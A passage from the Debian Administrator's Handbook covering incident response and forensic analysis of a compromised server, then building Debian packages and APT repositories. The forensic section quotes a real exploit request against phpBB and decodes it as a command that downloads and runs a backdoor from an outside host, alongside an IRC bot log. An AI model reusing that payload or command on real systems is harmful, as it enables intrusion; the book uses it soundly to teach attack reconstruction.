14.6.6. Physical Security

There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated.

Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox.

14.6.7. Legal Liability

An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit.

An attacker taking control of your machine then using it as a forward base (known as a "relay system") from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine.

When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks.

14.7. Dealing with a Compromised Machine

Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances.

14.7.1. Detecting and Seeing the Cracker's Intrusion

The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure.

Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named apache instead of the standard /usr/sbin/apache2. If we follow that example, the thing to do is to note its process identifier, and check `/proc/pid/exe` to see what program this process is currently running:

```
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.
    ➥ bash_httpd/psybnc
```

A program installed under `/var/tmp/` and running as the web server? No doubt left, the machine is compromised.

This is only one example, but many other hints can ring the administrator's bell:

- an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to `dpkg`;
- a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;
- errors caused by the `/tmp/` partition being full, which turned out to be full of illegal copies of movies;
- and so on.

14.7.2. Putting the Server Off-Line

In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet.

This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see section 14.7.3, "Keeping Everything that Could Be Used as Evidence" page 441, section 14.7.5, "Forensic Analysis" page 442 and section 14.7.6, "Reconstituting the Attack Scenario" page 443), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but `sshd`). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to "clean" the machines.

14.7.3. Keeping Everything that Could Be Used as Evidence

Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice.

In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (`netstat -tupan` for network connections, `ps auxf` for a list of processes, `ls -alR /proc/[0-9]*` for a little more information on running programs), and every performed check should carefully be written down.

CAUTION

Hot analysis

While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted `ps` command to hide some processes, or for a subverted `ls` to hide files; sometimes even the kernel is compromised!

If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised.

Once the "dynamic" elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running `sync`) and reboot it on a rescue CD. Each partition should be copied with a tool such as `dd`; these images can be sent to another server (possibly with the very convenient `nc` tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled.

14.7.4. Re-installing

The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly *backdoors*). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates.

Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems. Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media.

14.7.5. Forensic Analysis

Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the ro,nodev,noexec,noatime options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake.

Retracing an attack scenario usually involves looking for everything that was modified and executed:

- `.bash_history` files often provide for a very interesting read;
- so does listing files that were recently created, modified or accessed;
- the `strings` command helps identifying programs installed by the attacker, by extracting text strings from a binary;
- the log files in `/var/log/` often allow reconstructing a chronology of events;
- special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete.

Some of these operations can be made easier with specialized software. In particular, the *sleuthkit* package provides many tools to analyze a filesystem. Their use is made easier by the *Autopsy Forensic Browser* graphical interface (in the *autopsy* package). Some Linux distributions have a "live install" image and contain many programs for forensic analysis, such as Kali Linux (see section A.8, "Kali Linux" page 472), with its *forensic mode*, BlackArchLinux[2] and the commercial Grml-Forensic, based on Grml (see section A.6, "Grml" page 472).

[2] `https://blackarch.org`

14.7.6. Reconstituting the Attack Scenario

All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings.

The following log is an extract from an Apache `access.log`:

```
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.
    ➥ php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr
    ➥ (47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr
    ➥ (119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr
    ➥ (97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr
    ➥ (97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr
    ➥ (105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr
    ➥ (114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr
    ➥ (124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr
    ➥ (108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr
    ➥ (121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr
    ➥ (101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr
    ➥ (97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr
    ➥ (98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)
    ➥ %252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)
    ➥ %252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)
    ➥ %252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252
    ➥ echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969
    ➥ "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
```

This example matches exploitation of an old security vulnerability in phpBB.

➥ http://secunia.com/advisories/13239/

➥ https://www.phpbb.com/phpBB/viewtopic.php?t=240636

Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: `system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &")`. Indeed, a `bd` file was found in `/tmp/`. Running `strings /mnt/tmp/bd` returns, among other strings, PsychoPhobia Backdoor is starting.... This really looks like a backdoor.

Some time later, this access was used to download, install and run an IRC *bot* that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:

```
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it
    ➥ NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.
    ➥ POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to
    ➥ 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
```

```
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_
    ➥ -DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi
    ➥ (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9
    ➥  KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec,
    ➥  80.2 KB/sec)
```

These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address.

In parallel, the attacker also downloaded a pair of extra files, `/tmp/pt` and `/tmp/loginx`. Running these files through `strings` leads to strings such as *Shellcode placed at 0x%08lx* and *Now wait for suid shell....* These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.

In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.



Keywords

Backport
Rebuild
Source package
Archive
Meta-package
Debian Developer
Maintainer



Chapter

15

Creating a Debian Package

Contents

Rebuilding a Package from its Sources 448
Building your First Package 451
Creating a Package Repository for APT 456
Becoming a Package Maintainer 458

It is quite common, for an administrator who has been handling Debian packages in a regular fashion, to eventually feel the need to create their own packages, or to modify an existing package. This chapter aims to answer the most common questions in this field, and provide the required elements to take advantage of the Debian infrastructure in the best way. With any luck, after trying your hand for local packages, you may even feel the need to go further than that and join the Debian project itself!

15.1. Rebuilding a Package from its Sources

Rebuilding a binary package is required under several sets of circumstances. In some cases, the administrator needs a software feature that requires the software to be compiled from sources, with a particular compilation option; in others, the software as packaged in the installed version of Debian is not recent enough. In the latter case, the administrator will usually build a more recent package taken from a newer version of Debian — such as *Testing* or even *Unstable* — so that this new package works in their *Stable* distribution; this operation is called "backporting". As usual, care should be taken, before undertaking such a task, to check whether it has been done already — a quick look on the Debian Package Tracker for that package will reveal that information.

➨ https://tracker.debian.org/

15.1.1. Getting the Sources

Rebuilding a Debian package starts with getting its source code. The easiest way is to use the `apt-get source` *`source-package-name`* command. This command requires a deb-src line in the `/etc/apt/sources.list` file, and up-to-date index files (i.e. `apt-get update`). These conditions should already be met if you followed the instructions from the chapter dealing with APT configuration (see section 6.1, "Filling in the `sources.list` File" page 108). Note, however, that you will be downloading the source packages from the Debian version mentioned in the deb-src line. If you need another version, you may need to download it manually from a Debian mirror or from the web site. This involves fetching two or three files (with extensions `*.dsc` — for *Debian Source Control* — `*.tar.`*`comp`*, and sometimes `*.diff.gz` or `*.debian.tar.`*`comp`* — *comp* taking one value among gz, bz2 or xz depending on the compression tool in use), then run the `dpkg-source -x` *`file.dsc`* command. If the `*.dsc` file is directly accessible at a given URL, there is an even simpler way to fetch it all, with the `dget` *`URL`* command. This command (which can be found in the *devscripts* package) fetches the `*.dsc` file at the given address, then analyzes its contents, and automatically fetches the file or files referenced within. Once everything has been downloaded, it verifies the integrity of the downloaded source packages using `dscverify`, and it extracts the source package (unless the -d or --download-only option is used). The Debian keyring is needed, unless the option -u is supplied.

15.1.2. Making Changes

Let us use the *samba* package as an example.

```
$ apt source samba
Reading package lists... Done
NOTICE: 'samba' packaging is maintained in the 'Git' version control system at:
https://salsa.debian.org/samba-team/samba.git
Please use:
git clone https://salsa.debian.org/samba-team/samba.git
```

```
to retrieve the latest (possibly unreleased) updates to the package.
Need to get 11.7 MB of source archives.
Get:1 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+
    ➥ dfsg-5+deb10u1 (dsc) [4,316 B]
Get:2 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+
    ➥ dfsg-5+deb10u1 (tar) [11.4 MB]
Get:3 http://security.debian.org/debian-security buster/updates/main samba 2:4.9.5+
    ➥ dfsg-5+deb10u1 (diff) [252 kB]
Fetched 11.7 MB in 1s (9,505 kB/s)
dpkg-source: info: extracting samba in samba-4.9.5+dfsg
dpkg-source: info: unpacking samba_4.9.5+dfsg.orig.tar.xz
dpkg-source: info: unpacking samba_4.9.5+dfsg-5+deb10u1.debian.tar.xz
dpkg-source: info: using patch list from debian/patches/series
dpkg-source: info: applying 07_private_lib
dpkg-source: info: applying bug_221618_precise-64bit-prototype.patch
[...]
```

The source of the package is now available in a directory named after the source package and its version (*samba-4.9.5+dfsg*); this is where we'll work on our local changes.

The first thing to do is to change the package version number, so that the rebuilt packages can be distinguished from the original packages provided by Debian. Assuming the current version is 2:4.9.5+dfsg-5, we can create version 2:4.9.5+dfsg-5falcot1, which clearly indicates the origin of the package. This makes the package version number higher than the one provided by Debian, so that the package will easily install as an update to the original package. Such a change is best effected with the `dch` command (*Debian CHangelog*) from the *devscripts* package.

```
$ cd samba-4.9.5+dfsg
$ dch --local falcot
```

The last command invokes a text editor (`sensible-editor` — this should be your favorite editor if it is mentioned in the `VISUAL` or `EDITOR` environment variables, and the default editor otherwise) to allow documenting the differences brought by this rebuild. This editor shows us that `dch` really did change the `debian/changelog` file.

When a change in build options is required, the changes need to be made in `debian/rules`, which drives the steps in the package build process. In the simplest cases, the lines concerning the initial configuration (./configure …) or the actual build ($(MAKE) … or make …) are easy to spot. If these commands are not explicitly called, they are probably a side effect of another explicit command, in which case please refer to their documentation to learn more about how to change the default behavior. With packages using `dh`, you might need to add an override for the `dh_auto_configure` or `dh_auto_build` commands (see their respective manual pages for explanations on how to achieve this).

Depending on the local changes to the packages, an update may also be required in the `debian/control` file, which contains a description of the generated packages. In particular, this file contains Build-Depends lines controlling the list of dependencies that must be fulfilled at package build time. These often refer to versions of packages contained in the distribution the source

package comes from, but which may not be available in the distribution used for the rebuild. There is no automated way to determine if a dependency is real or only specified to guarantee that the build should only be attempted with the latest version of a library — this is the only available way to force an *autobuilder* to use a given package version during build, which is why Debian maintainers frequently use strictly versioned build-dependencies.

If you know for sure that these build-dependencies are too strict, you should feel free to relax them locally. Reading the files which document the standard way of building the software — these files are often called `INSTALL` — will help you figure out the appropriate dependencies. Ideally, all dependencies should be satisfiable from the distribution used for the rebuild; if they are not, a recursive process starts, whereby the packages mentioned in the Build-Depends field must be backported before the target package can be. Some packages may not need backporting, and can be installed as-is during the build process (a notable example is *debhelper*). Note that the backporting process can quickly become complex if you are not careful. Therefore, backports should be kept to a strict minimum when possible.

TIP

Installing `Build-Depends`

`apt-get` allows installing all packages mentioned in the `Build-Depends` fields of a source package available in a distribution mentioned in a `deb-src` line of the `/etc/apt/sources.list` file. This is a simple matter of running the `apt-get build-dep` *`source-package`* command.

15.1.3. Starting the Rebuild

When all the needed changes have been applied to the sources, we can start generating the actual binary package (`.deb` file). The whole process is managed by the `dpkg-buildpackage` command.

Example 15.1 *Rebuilding a package*

```
$ dpkg-buildpackage -us -uc
[...]
```

The previous command can fail if the Build-Depends fields have not been updated, or if the related packages are not installed. In such a case, it is possible to overrule this check by passing the `-d` option to `dpkg-buildpackage`. However, explicitly ignoring these dependencies runs the risk of the build process failing at a later stage. Worse, the package may seem to build correctly but fail to run properly: some programs automatically disable some of their features when a required library is not available at build time.

TOOL

`fakeroot`

In essence, the package creation process is a simple matter of gathering in an archive a set of existing (or built) files; most of the files will end up being owned by *root* in the archive. However, building the whole package under this user would imply increased risks; fortunately, this can be avoided with the `fakeroot` command. This tool can be used to run a program and give it the impression that it runs as

root and creates files with arbitrary ownership and permissions. When the program creates the archive that will become the Debian package, it is tricked into creating an archive containing files marked as belonging to arbitrary owners, including *root*. This setup is so convenient that `dpkg-buildpackage` uses `fakeroot` by default when building packages.

Note that the program is only tricked into "believing" that it operates as a privileged account, and the process actually runs as the user running `fakeroot` *`program`* (and the files are actually created with that user's permissions). At no time does it actually get root privileges that it could abuse.

More often than not, Debian developers use a higher-level program such as `debuild`; this runs `dpkg-buildpackage` as usual, but it also adds an invocation of a program that runs many checks to validate the generated package against the Debian policy. This script also cleans up the environment so that local environment variables do not "pollute" the package build. The `debuild` command is one of the tools in the *devscripts* suite, which share some consistency and configuration to make the maintainers' task easier.

QUICK LOOK

Building packages in a *chrooted* environment

The `pbuilder` program (in the similarly named package) allows building a Debian package in a *chrooted* environment. It first creates a temporary directory containing the minimal system required for building the package (including the packages mentioned in the *Build-Depends* field). This directory is then used as the root directory (`/`), using the `chroot` command, during the build process.

This tool allows the build process to happen in an environment that is not altered by users' manipulations. This also allows for quick detection of the missing build-dependencies (since the build will fail unless the appropriate dependencies are documented). Finally, it allows building a package for a Debian version that is not the one used by the system as a whole: the machine can be using *Stable* for its normal workload, and a `pbuilder` running on the same machine can be using *Unstable* for package builds.

`schroot` allows running a command or a login shell in a *chrooted* environment.

15.2. Building your First Package

15.2.1. Meta-Packages or Fake Packages

Fake packages and meta-packages are similar, in that they are empty shells that only exist for the effects their meta-data have on the package handling stack.

The purpose of a fake package is to trick `dpkg` and `apt` into believing that some package is installed even though it is only an empty shell. This allows satisfying dependencies on a package when the corresponding software was installed outside the scope of the packaging system. Such a method works, but it should still be avoided whenever possible, since there is no guarantee that the manually installed software behaves exactly like the corresponding package would and other packages depending on it would not work properly.

On the other hand, a meta-package exists mostly as a collection of dependencies, so that installing the meta-package will actually bring in a set of other packages in a single step.

Both these kinds of packages can be created by the `equivs-control` and `equivs-build` commands (in the *equivs* package). The `equivs-control` *`file`* command creates a Debian package header file that should be edited to contain the name of the expected package, its version number, the name of the maintainer, its dependencies, and its description. Other fields without a default value are optional and can be deleted. The Copyright, Changelog, Readme and Extra-Files fields are not standard fields in Debian packages; they only make sense within the scope of `equivs-build`, and they will not be kept in the headers of the generated package.

Example 15.2 *Header file of the* libxml-libxml-perl *fake package*

```
Section: perl
Priority: optional
Standards-Version: 4.4.1

Package: libxml-libxml-perl
Version: 2.0134-1
Maintainer: Raphael Hertzog <hertzog@debian.org>
Depends: libxml2 (>= 2.7.4)
Architecture: all
Description: Fake package - module manually installed in site_perl
 This is a fake package to let the packaging system
 believe that this Debian package is installed.
 .
 In fact, the package is not installed since a newer version
 of the module has been manually compiled & installed in the
 site_perl directory.
```

The next step is to generate the Debian package with the `equivs-build` *`file`* command. Voilà: the package is created in the current directory and it can be handled like any other Debian package would.

15.2.2. Simple File Archive

The Falcot Corp administrators need to create a Debian package in order to ease deployment of a set of documents on a large number of machines. The administrator in charge of this task first reads the "New Maintainer's Guide", then starts working on their first package.

➨ https://www.debian.org/doc/manuals/maint-guide/

The first step is creating a `falcot-data-1.0` directory to contain the target source package. The package will logically, be named falcot-data and bear the 1.0 version number. The administrator then places the document files in a `data` subdirectory. Then they invoke the `dh_make`

command (from the *dh-make* package) to add files required by the package generation process, which will all be stored in a `debian` subdirectory:

```
$ cd falcot-data-1.0
$ dh_make --native

Type of package: (single, indep, library, python)
[s/i/l/p]? i

Maintainer Name     : Raphael Hertzog
Email-Address       : hertzog@debian.org
Date                : Fri, 04 Sep 2015 12:09:39 -0400
Package Name        : falcot-data
Version             : 1.0
License             : gpl3
Package Type        : indep
Are the details correct? [Y/n/q]
Currently there is not top level Makefile. This may require additional tuning
Done. Please edit the files in the debian/ subdirectory now.

$
```

The selected type of package (*indep*) indicates that this source package will generate a single binary package that can be shared across all architectures (Architecture: all). *single* acts as a counterpart, and leads to a single binary package that is dependent on the target architecture (Architecture: any). In this case, the former choice is more relevant since the package only contains documents and no binary programs, so it can be used similarly on computers of all architectures.

The *library* type corresponds to a source package leading to several binary packages. It is useful for shared libraries, since they need to follow strict packaging rules.

TIP

Maintainer's name and email address

Most of the programs involved in package maintenance will look for your name and email address in the `DEBFULLNAME` and `DEBEMAIL` or `EMAIL` environment variables. Defining them once and for all will avoid you having to type them multiple times. If your usual shell is `bash`, it is a simple matter of adding the following two lines in your `~/.bashrc` file (you will obviously replace the values with more relevant ones!):

```
export EMAIL="hertzog@debian.org"
export DEBFULLNAME="Raphael Hertzog"
```

The `dh_make` command created a `debian` subdirectory with many files. Some are required, in particular `rules`, `control`, `changelog` and `copyright`. Files with the `.ex` extension are example files that can be used by modifying them (and removing the extension) when appropriate. When they are not needed, removing them is recommended. The `compat` file should be kept, since it is required for the correct functioning of the *debhelper* suite of programs (all beginning with the `dh_` prefix) used at various stages of the package build process.

The `copyright` file must contain information about the authors of the documents included in the package, and the related license. In our case, these are internal documents and their use is restricted to within the Falcot Corp company. The default `changelog` file is generally appropriate; replacing the "Initial release" with a more verbose explanation and changing the distribution from unstable to internal is enough. The `control` file was also updated: the Section field has been changed to *misc* and the Homepage, Vcs-Git and Vcs-Browser fields were removed. The Depends fields was completed with firefox-esr | www-browser so as to ensure the availability of a web browser able to display the documents in the package.

Example 15.3 *The `control` file*

```
Source: falcot-data
Section: misc
Priority: optional
Maintainer: Raphael Hertzog <hertzog@debian.org>
Build-Depends: debhelper (>= 10)
Standards-Version: 4.4.1

Package: falcot-data
Architecture: all
Depends: firefox-esr | www-browser, ${misc:Depends}
Description: Internal Falcot Corp Documentation
 This package provides several documents describing the internal
 structure at Falcot Corp.  This includes:
  - organization diagram
  - contacts for each department.
 .
 These documents MUST NOT leave the company.
 Their use is INTERNAL ONLY.
```

Example 15.4 *The `changelog` file*

```
falcot-data (1.0) internal; urgency=low

  * Initial Release.
  * Let's start with few documents:
    - internal company structure;
    - contacts for each department.

 -- Raphael Hertzog <hertzog@debian.org>  Fri, 04 Sep 2015 12:09:39 -0400
```

Example 15.5 *The `copyright` file*

```
Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
```

```
Upstream-Name: falcot-data

Files: *
Copyright: 2004-2019 Falcot Corp
License:
 All rights reserved.
```

BACK TO BASICS

`Makefile` file

A `Makefile` file is a script used by the `make` program; it describes rules for how to build a set of files from each other in a tree of dependencies (for instance, a program can be built from a set of source files). The `Makefile` file describes these rules in the following format:

```
target: source1 source2 ...
        command1
        command2
```

The interpretation of such a rule is as follows: if one of the `source*` files is more recent than the `target` file, then the target needs to be generated, using `command1` and `command2`.

Note that the command lines must start with a tab character; also note that when a command line starts with a dash character (`-`), failure of the command does not interrupt the whole process.

The `rules` file usually contains a set of rules used to configure, build and install the software in a dedicated subdirectory (named after the generated binary package). The contents of this subdirectory is then archived within the Debian package as if it were the root of the filesystem. In our case, files will be installed in the `debian/falcot-data/usr/share/falcot-data/` subdirectory, so that installing the generated package will deploy the files under `/usr/share/falcot-data/`. The `rules` file is used as a `Makefile`, with a few standard targets (including clean and binary, used respectively to clean the source directory and generate the binary package).

Although this file is the heart of the process, it increasingly contains only the bare minimum for running a standard set of commands provided by the `debhelper` tool. Such is the case for files generated by `dh_make`. To install our files, we simply configure the behavior of the `dh_install` command by creating the following `debian/falcot-data.install` file:

```
data/* usr/share/falcot-data/
```

At this point, the package can be created. We will, however, add a lick of paint. Since the administrators want the documents to be easily accessed from the menus of graphical desktop environments, we add a `falcot-data.desktop` file and get it installed in `/usr/share/applications` by adding a second line to `debian/falcot-data.install`.

Example 15.6 *The `falcot-data.desktop` file*

```
[Desktop Entry]
Name=Internal Falcot Corp Documentation
Comment=Starts a browser to read the documentation
Exec=x-www-browser /usr/share/falcot-data/index.html
Terminal=false
Type=Application
Categories=Documentation;
```

The updated `debian/falcot-data.install` looks like this:

```
data/* usr/share/falcot-data/
falcot-data.desktop usr/share/applications/
```

Our source package is now ready. All that is left to do is to generate the binary package, with the same method we used previously for rebuilding packages: we run the `dpkg-buildpackage -us -uc` command from within the `falcot-data-1.0` directory.

15.3. Creating a Package Repository for APT

Falcot Corp gradually started maintaining a number of Debian packages either locally modified from existing packages or created from scratch to distribute internal data and programs.

To make deployment easier, they want to integrate these packages in a package archive that can be directly used by APT. For obvious maintenance reasons, they wish to separate internal packages from locally-rebuilt packages. The goal is for the matching entries in a `/etc/apt/sources.list.d/falcot.list` file to be as follows:

```
deb http://packages.falcot.com/ updates/
deb http://packages.falcot.com/ internal/
```

The administrators therefore configure a virtual host on their internal HTTP server, with `/srv/vhosts/packages/` as the root of the associated web space. The management of the archive itself is delegated to the `mini-dinstall` command (in the similarly-named package). This tool keeps an eye on an `incoming/` directory (in our case, `/srv/vhosts/packages/mini-dinstall/incoming/`) and waits for new packages there; when a package is uploaded, it is installed into a Debian archive at `/srv/vhosts/packages/`. The `mini-dinstall` command reads the `*.changes` file created when the Debian package is generated. These files contain a list of all other files associated with the version of the package (`*.deb`, `*.dsc`, `*.diff.gz`/`*.debian.tar.gz`, `*.orig.tar.gz`, or their equivalents with other compression tools), and these allow `mini-dinstall` to know which files to install. `*.changes` files also contain the name of the target distribution (often `unstable`) mentioned in the latest `debian/changelog` entry, and `mini-dinstall` uses this information to decide where the package should be installed. This is why administrators must always change this field before building a package, and set it to `internal` or `updates`, depending on the target location. `mini-dinstall` then generates the files required by APT, such as `Packages.gz`.

ALTERNATIVE

apt-ftparchive and reprepro

If `mini-dinstall` seems too complex for your Debian archive needs, you can also use the `apt-ftparchive` command. This tool scans the contents of a directory and displays (on its standard output) a matching `Packages` file. In the Falcot Corp case, administrators could upload the packages directly into `/srv/vhosts/packages/updates/` or `/srv/vhosts/packages/internal/`, then run the following commands to create the `Packages.gz` files:

```
$ cd /srv/vhosts/packages
$ apt-ftparchive packages updates >updates/Packages
$ gzip updates/Packages
$ apt-ftparchive packages internal >internal/Packages
$ gzip internal/Packages
```

The `apt-ftparchive sources` command allows creating `Sources.gz` files in a similar fashion.

`reprepro` is a more advanced tool for the same purpose. It can produce, manage and synchronize a local repository of packages. It stores packages and checksums in a Berkeley DB database file, so no database server is needed. With `reprepro` you can check signatures of mirrored repositories and create signatures of the generated package indices.

Configuring `mini-dinstall` requires setting up a `~/.mini-dinstall.conf` file; in the Falcot Corp case, the contents are as follows:

```
[DEFAULT]
archive_style = flat
archivedir = /srv/vhosts/packages

verify_sigs = 0
mail_to = admin@falcot.com

generate_release = 1
release_origin = Falcot Corp
release_codename = stable

[updates]
release_label = Recompiled Debian Packages

[internal]
release_label = Internal Packages
```

One decision worth noting is the generation of `Release` files for each archive. This can help manage package installation priorities using the `/etc/apt/preferences` configuration file (see section 6.2.5, "Managing Package Priorities" page 121 for details).

SECURITY

mini-dinstall and permissions

Since `mini-dinstall` has been designed to run as a regular user, there is no need to run it as root. The easiest way is to configure everything within the user account belonging to the administrator in charge of creating the Debian packages. Since

only this administrator has the required permissions to put files in the `incoming/` directory, we can deduce that the administrator authenticated the origin of each package prior to deployment and `mini-dinstall` does not need to do it again. This explains the `verify_sigs = 0` parameter (which means that signatures need not be verified). However, if the contents of packages are sensitive, we can reverse the setting and elect to authenticate with a keyring containing the public keys of persons allowed to create packages (configured with the `extra_keyrings` parameter); `mini-dinstall` will then check the origin of each incoming package by analyzing the signature integrated to the `*.changes` file.

Invoking `mini-dinstall` actually starts a daemon in the background. As long as this daemon runs, it will check for new packages in the `incoming/` directory every half-hour; when a new package arrives, it will be moved to the archive and the appropriate `Packages.gz` and `Sources.gz` files will be regenerated. If running a daemon is a problem, `mini-dinstall` can also be manually invoked in batch mode (with the -b option) every time a package is uploaded into the `incoming/` directory. Other possibilities provided by `mini-dinstall` are documented in its `mini-dinstall(1)` manual page.

EXTRA

Generating a signed archive

The APT suite checks a chain of cryptographic signatures on the packages it handles before installing them, in order to ensure their authenticity (see section 6.6, "Checking Package Authenticity" page 132). Private APT archives can then be a problem, since the machines using them will keep displaying warnings about unsigned packages. A diligent administrator will therefore integrate private archives with the secure APT mechanism.

To help with this process, `mini-dinstall` includes a `release_signscript` configuration option that allows specifying a script to use for generating the signature. A good starting point is the `sign-release.sh` script provided by the *mini-dinstall* package in `/usr/share/doc/mini-dinstall/examples/`; local changes may be relevant.

15.4. Becoming a Package Maintainer

15.4.1. Learning to Make Packages

Creating a quality Debian package is not always a simple task, and becoming a package maintainer takes some learning, both with theory and practice. It is not a simple matter of building and installing software; rather, the bulk of the complexity comes from understanding the problems and conflicts, and more generally the interactions, with the myriad of other packages available.

Rules

A Debian package must comply with the precise rules compiled in the Debian policy, and each package maintainer must know them. There is no requirement to know them by heart, but

